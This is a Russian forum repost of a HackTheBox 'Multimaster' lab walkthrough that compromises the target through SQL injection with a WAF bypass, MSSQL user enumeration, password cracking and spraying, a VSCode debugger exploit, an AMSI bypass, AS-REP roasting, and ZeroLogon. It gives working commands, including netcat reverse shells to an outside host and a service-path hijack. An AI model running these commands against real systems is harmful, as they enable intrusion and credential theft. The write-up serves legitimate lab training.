НОВОСТИ HackTheBox. Прохождение Multimaster. Burp+Sqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon

NewsBot
Оффлайн

NewsBot

.
.
Регистрация
21.07.20
Сообщения
40.408
Реакции
1
Репутация
0
kjxm7fvpzvmpm5gpzscmsxlg5wo.png


Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки .

В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.


10.10.10.179 multimaster.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.


masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500

ctzbrt545lwe7gxgmq0g_5e5bpm.png


На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389

owjifmyd3nlp8v2ehohtrgvm4ee.png


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.


nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389

ebvmnzhtqtinbymbwjvyhatz9ba.png


С SMB и LDAP ничего сделать не выходит, посмотрим веб.

0d7fgex2hr9hjkz2bnkc4cfwo9o.png


На сайте есть авторизация, а также форма поиска.

8b30d8uikfywvehar8zyvw0h1xq.png


Причем поиск работает по вхождению.

pu_eqotkbqmeg7uoakn8j4cpf7y.png


Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.

sz4p_wkdlz-wx3n7mdwamigr-so.png


Получается, что мы имеем SQL инъекцию.

cy0kij6zzgyvbukfsj9ag_a86og.png


Но вывести хоть что-либо не выходит. Видимо используется WAF.

cfkdvs9ed8-i8fmkvev-rmdw9ww.png


Но его получилось обойти за счет использования Unicode кодировки.

vs8thlj2bk6vbbw9glafhs_yec8.png


И находим количество столбцов.

24qp_wob5wqx4ifpqjpcm637jxu.png


sziwldnmoecwujhmlbfpf2n_rtu.png


Значит инъекция есть 100%.

Sqlmap + Burp Suite


Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД — отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.


sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user

wihl3hzhx-qvsba4arumqzxt0fu.png


И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).


sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --current-user

Перехватываем запросы в burp, и видим несколько иное отображение кодировки.

m7ollbdmwd4aij6gn0e1mghn3ma.png


Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.

acwv1v8xgdlvagfcivof7bsmma8.png


xp7ecpjkb9ezqk9iudj940gcys0.png


И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.

9ba9h-h06r8-dwvxvstmfgrd9o0.png


Добавим правило, которое в теле запроса будет менять %u на \u.

a26mut4ts5fghxp22qcdj0dzvpq.png


И удостоверимся, что оно активно.

5vcjzjgwtmis3dch_rabza_rwyc.png


Теперь снова выполним sqlmap.


sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --random-agent --current-user

В Burp наблюдаем уже исправленный запрос.

8nej9ikxxpkiv-v7tqtxnuv_4yq.png


Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.

hkxftgjaqm8ealyf_a4sa4oeu2a.png


Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.


sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --delay=3 --random-agent --privileges

bdkfsv9lrowqdbpbirrak6dbbpq.png


Мы ничего не можем сделать. Узнаем базы данных.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --delay=3 --dbs

vy6ycgxlrvetwcn4tid-phhqyx4.png


Посмотрим таблицы из Hub_DB.


sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --delay=3 -D Hub_DB --tables

e9uifebu3mvc7s9tqhhlz3eb4uq.png


То что нужно. Таблица Logins. Извлечем из нее все данные.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy --delay=3 -D Hub_DB -T Logins --dump

ki0ftqwls6cq5tb5wripxglxtlg.png


И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.

ty1j8mkvujpzs-c6o2fbvm1sgai.png


Теперь узнаем режимы hashcat, которые мы будем перебирать.

nmy_r_ahge9yijmqy-d_iirm1bc.png


Всего три режима. И используя последнй мы ломаем три хеша.


hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt

lunmvbu35fk8udgkuohz0npibyi.png


Но данные хеши не подходят для SMB. Копаем дальше.

USER


То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.

atmhkqx3czygztwhb2l-i7e1zo4.png


m8irpl7znm80_cemawiwgaxtshu.png


И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.

j5cw2ryfuc-xlbcbwyvev5qgc68.png


qh8narnnvth_b36ej9qougbtyga.png


Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.

ngcfy8uonh4chtgy-ayz91oytdo.png


d1j8ynx1nkcneqz_6otds_qm1b0.png


И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора — 500.

Из полученного SID возьмем первые 48 байт.

fcdlrhuduhfledb-wsknpamojh4.png


И добавляем в конец, RID — 500 (не забываем перевернуть).

sedkuusjngdy6aauadskuefuwwy.png


3nvoapfl3xy3jzdkqdrixppo1lc.png


И теперь получим имя учетной записи по нашему SID.

ccrpc7rzfgsomyw3n3xetigl0ec.png


pmazou-zgdvkrqca-w2vuuswkfa.png


Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.

pqhrmfwdusmc0kkshtjt2g_knly.png


tpkidxyll3haks60wkiqx2nmgxo.png


Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.


for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)

Сохраняем результат в файл и указываем в Burp.

n2blfw9tllbdyp99r6qeuma2agw.png


Также выключаем URL кодирование и заменяем все 0x на \u00.

nfuoeqyur4zuppttihxjrtmp2yu.png


Помним про WAF, ставим один поток и и задержку между запросами.

2-nye9gxc55dyf49zdb1w3uvyyw.png


Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.

cpwu2_mi4rsshnsgr-nampouvjk.png


Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.

t7-zjqgae7ifxphor_baldryqpg.png


Подключаемся к WinRM и мы в системе.

0rtxizh4_bp0fhaiyi7uy5kw9qi.png


USER2


Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.

l8n9siss2_p7ookhjaoomo6xgn4.png


Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.

gp_aq6qggy_wavagiovtp9wp4ru.png


Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.

nq4k06kno4sblxml35zavfgspf8.png


Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.

tdqwbkeaw4aerd_a7hwv6imtav8.png


И в глаза бросается VSCode.

q0sg9d45my1tk7byrxnla9ceeis.png


pglyanhv_klqexnujgf_4v9xxuk.png


Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!

dqimiotnikrmjyafmufhpmyag8o.png


Как следует :
An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.​

Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать .

oza6z6lrckluaexnjnfdhgfxp4g.png


Давайте найдем прослушиваемый порт.

ftaa9hjmmrsrbgjzqlchotbwhxi.png


Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.


.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"

t9q1jpgcqczgjo9fysgbj1sxviq.png


И видим успешное подключение.

md95rxojokxyt9elkp0iec0jzeo.png


Идем в нашу директорию.

dfstge-zx-brbrjrrno9zvvgbrc.png


wy5xq7q95vps1azi9fnuqaag7qw.png


Из всего представленного наибольший интерес представляет API. Давайте скачаем его.

gfcxnzmmu4zeuxcny_mlu6jkbqy.png


iqhbsa6mtrxvyanauusv3_e2hrm.png


Я перешел в систему Windows и проверил, на чем написана данная библиотека.

tnqovy9g6gdwxkzkv6vmq8vce1k.png


Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.

lzo6t307lzaiudx7hyenhvdgvtk.png


И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.


cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"

y3dmaujy8pge7x7ohevbxklmc7q.png


И забираем еще одного пользователя

59yvaqigv74fhwe3vvkdgll6wag.png


USER3


При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью .

gt9_dpoo7tazk_tqlw517blge54.png


Теперь спокойно загружаем на хост sharphound.

ija06cvd0xemrcardoydzxcdrrk.png


И после запуска наблюдаем архив.

uji4tgiem03y0yqvra3zwj-fogg.png


Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.

dswk3tkqceu8yly4g1rjqzzniky.png


Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.

o2nk_e2udt6fsvalpo-zsrxjum8.png


Давайте получим информацию о связи.

jfhdjll-7qfqirq3n44betukk18.png


yltoj47alltpd-rxr4hehci9qjs.png


Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство — не требовать предварительную аутентификацию Kerberos.

_vct8lumc-ebf464gltd0mysxxi.png


И выполним запрос.

fvsz7rfhs9x7payydvwypa-cuh8.png


Копируем хеш и ломаем с помощью hashcat.


hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt

zm0ibhjrel_0txh37pnrpeszri0.png


Получаем пароль пользователя. И успешно заходим под ним.

iqmcodriooko1701g1f9xexgzq8.png


ROOT


Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.

hxocdzh8qq2fz2gz_qu3dc0m1di.png


Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDaraService.

r_p5jd_8mc6iyferrh26_5p1qy0.png


Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.


reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f

nwes1rwg9vazxshrlaioz1oei_s.png


И после запуска службы наблюдаем подключение на 4321 порт.


sc.exe start SensorDataService

5karhrdz0hivewhdu-rujbxzdoy.png


Мы с правами SYSTEM.

CVE-2020-1472


А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).

По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).


secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/[email protected]'

ot1xqmjn119i77zcrdl4315lh_y.png


Теперь используем .


CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179

phrwkexdqxbh17lzkck-ihvbyi0.png


Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.


secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/[email protected]'

use9bhm3hvdq8h7mks6ewie4qqm.png


А с хешем администратора можем подключиться через WinRM.

nbjfic23gorwupqiywm8_gzzuai.png


В частности, так можно захватить контроллер домена на базе:

  • всех версий Windows Server 2019, Windows Server 2016;
  • всех вариантов Windows Server версии 1909;
  • Windows Server версии 1903;
  • Windows Server версии 1809 (Datacenter, Standard);
  • Windows Server 2012 R2;
  • Windows Server 2012;
  • Windows Server 2008 R2 Service Pack 1.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу